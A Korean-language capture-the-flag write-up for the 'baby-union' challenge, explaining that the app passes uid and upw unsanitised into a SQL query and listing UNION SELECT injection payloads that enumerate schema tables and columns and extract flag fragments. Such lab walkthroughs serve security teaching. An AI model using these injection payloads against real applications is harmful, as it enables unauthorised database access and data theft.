baby-union

소스코드 분석
init.sql
DB 테이블에 값을 삽입하는 코드입니다. users, fake_table_name 테이블에 각각 임의의 값을 추가하고 있네요.
위 문제에서 볼 수 있듯이, fake_table_name 테이블과 선언된 속성들은 실제 값이 아닙니다.

app.py
- 주목할 부분은 19-23라인 입니다. 사용자로부터 입력받은
uid, upw값이 쿼리문에 그대로 사용됩니다. - 이를 통해 블라인드 인젝션 및 유니온 인젝션이 가능합니다.

- (1) init.sql 파일에서
users테이블에서 사용되는 컬럼 개수가 4개임을 확인했습니다.- 따라서, Union SQLi 공격 시 컬럼 수를 4개로 설정하여 공격을 시도합니다.

- 따라서, Union SQLi 공격 시 컬럼 수를 4개로 설정하여 공격을 시도합니다.
- (2) Union SQLi 공격이 가능한 쿼리문을 찾았습니다.
- 이제 데이터베이스, 테이블, 컬럼, 데이터 값을 차례로 추출합니다.
- 아래 쿼리문을 사용하면 DB 데이터 확인이 가능하며 플래그는 (svalue + sflag + sclose) 였습니다.
# Database Name: `secret_db`
admin' UNION SELECT database(),null,null,null FROM DUAL#
# Table Name: users, onlyflag
admin' UNION SELECT TABLE_NAME,null,null,null FROM INFORMATION_SCHEMA.tables WHERE TABLE_SCHEMA='secret_db'#
# Column Name: ..., sname, svalue, flag,, sclose
admin' UNION SELECT COLUMN_NAME,null,null,null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='secret_db'#
# sname - flag is
admin' UNION SELECT sname,null,null,null FROM onlyflag#
# svalue - DH{앞 ...
admin' UNION SELECT svalue,null,null,null FROM onlyflag#
# sflag - DH{... 중간 값 ... }
admin' UNION SELECT sflag,null,null,null FROM onlyflag#
# sclose - DH{... 뒤}
admin' UNION SELECT sclose,null,null,null FROM onlyflag#
🐛.. 🐛.. 🐛..